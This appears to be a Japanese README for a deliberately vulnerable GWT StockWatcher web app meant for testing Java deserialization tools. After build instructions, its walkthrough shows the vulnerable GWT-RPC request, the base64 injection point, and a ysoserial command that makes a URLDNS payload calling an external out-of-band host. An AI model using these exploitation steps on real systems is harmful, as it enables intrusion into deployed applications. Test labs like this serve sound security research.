
意図的に脆弱性を持たせたGWTベースのWebアプリケーションで、ツールや手法をテストするためのものです。
これは、GWT入門ガイドで説明されているStockWatcherサンプルアプリケーションを、GWTの「拡張クラス(enhanced classes)」機能を使うように変更したバージョンであり、Javaデシリアライゼーション攻撃に対して脆弱になっています。これは、検出および悪用ツールのテストにのみ使用する必要があります。拡張クラスは実際のGWTベースのアプリケーションで一般的に使用されていますが、このサンプルが公開されるまで、セキュリティ専門家が自社のツールや手順を検証するために使用できる、容易に見つけられるオープンソースのWebアプリケーションは存在しませんでした。
Webアプリケーションを実行するには、以下のツールを備えたLinuxシステムが必要です。
openjdk-11-jre パッケージをインストールします。ant(ディストリビューションのパッケージマネージャを使用してインストール)このアプリケーションには、GitHubのソース管理に直接含めるには大きすぎる多数のJARファイルが必要です。そのため、最も簡単な開始方法は、リリースページから最新のパッケージをダウンロードして展開することです。
リリースを展開したら、build.xml 内の次の行を編集して、/home/user/GWT/gwt-2.10.0 を自分のGWT SDKディレクトリに置き換えます。
ソースコードディレクトリ内で、次のコマンドを実行します。
ant build
ant devmode
これにより、脆弱なWebアプリケーションが起動し、http://127.0.0.1:8888/StockWatcher.html でアクセスできるようになります。
ローカルサービスへのトラフィックを転送してリモートからアクセス可能にする場合は、8888に加えてポート9876も転送する必要があることに注意してください。
このリポジトリをクローンして、リリースをダウンロードせずにアプリケーションを実行する場合は、クローン後に以下のサードパーティ製JARファイルをダウンロードして lib ディレクトリに追加する必要があります。
また、GWTディレクトリ(例:gwt-2.10.0/)から以下のGWT JARファイルを、この脆弱なアプリケーションの lib ディレクトリにコピーする必要もあります。
gwt-dev.jargwt-servlet.jargwt-user.jarvalidation-api-1.0.0.GA.jarvalidation-api-1.0.0.GA-sources.jarこれらのJARファイルをすべてコピーしたら、上記のクイックスタートのセクションの他の手順を実行します。
インターセプトプロキシ(Burp Suiteなど)を介して接続するように設定されたWebブラウザを使用して、URL http://127.0.0.1:8888/StockWatcher.html を読み込みます。
ページには最初に「compiling」というメッセージが表示されます。次の基本フォームが表示されるまで待ちます。
フィールドに BFOX などの短い文字列を入力し、Add ボタンをクリックします。ページには、シミュレートされた株式シンボルのランダムな更新が表示され始めるはずです。
インターセプトプロキシの履歴で、ブラウザが http://127.0.0.1:8888/stockwatcher/checkCustomClass1 に対して POST リクエストを繰り返し送信していることに注目してください。次と似たリクエストです。
POST /stockwatcher/checkCustomClass1 HTTP/1.1
Host: 127.0.0.1:8888
...omitted for brevity...
7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|
Base64エンコードされたバイナリデータ rO0ABXcEAAAAAA== は、リクエスト内の脆弱なインジェクションポイントです。Webアプリケーションを悪用するには、置き換え用のペイロードを生成する必要があります。たとえば、Bishop Foxがカスタマイズしたバージョンのysoserial を使用して URLDNS ペイロードを生成するには、次のコマンドを実行できます。
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
--gwt bishopfox \
URLDNS "https://dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
| base64 -w0 | sed 's/+/\$/g' | sed 's./._.g' > gwt_urldns.bin.gwt_b64
rO0ABXcEAAAAAA== を生成したペイロードに置き換えた修正版リクエストを送信すると、脆弱なアプリケーションはそれをデシリアライズしてトリガーするはずです。ペイロードが引き起こす動作に加えて、値がデシリアライズされた場合、レスポンスにはフィールド名に関連する NoSuchFieldException も含まれるはずです。例えば、上記の例の bishopfox という名前を使用した場合:
HTTP/1.1 200 OK
Connection: close
...omitted for brevity...
//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]
脆弱なWebアプリケーションのプリビルドリリースを使用した場合、または上記のすべてのJARを手動でカスタムビルドに追加した場合は、(最低限)以下のペイロードをWebアプリに対して使用できるはずです。
この記事の執筆時点では、メインライン版の ysoserial はGWT形式の出力をサポートしていなかったため、必ずカスタムフォークを使用してください。